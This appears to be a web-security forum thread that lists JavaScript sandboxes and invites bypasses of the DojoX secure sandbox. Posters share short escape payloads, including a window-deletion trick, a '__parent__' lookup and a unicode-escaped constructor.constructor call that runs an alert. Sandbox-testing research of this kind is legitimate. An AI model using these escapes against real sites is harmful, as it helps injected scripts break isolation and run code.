Caja
[caja.appspot.com]

Microsoft Sandbox
[www.websandbox-code.org]

JSReg
[www.businessinfo.co.uk]

Webworker sandbox
[github.com]

Facebook? Dunno the new url

Here's one that is not so well known.. DojoX sandbox, part of the dojo toolkit.

http://o.sitepen.com/labs/code/secure/dojox/secure/tests/load.html


Oh, btw.. It can be easily bypassed. Let's make it a challenge to find new ways of bypassing it!

Here's a first entry:
var window; delete window; alert(window);

Access to window is prohibited, but by declaring a local variable named window and deleting it, we confuse the sandbox to allow it.

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

Pfff... :)

var a=[];alert(a['__parent__']);

I declare it a sandpit

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Absolutely no effort

1..\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072.\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072('alert("PWND!")')()

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]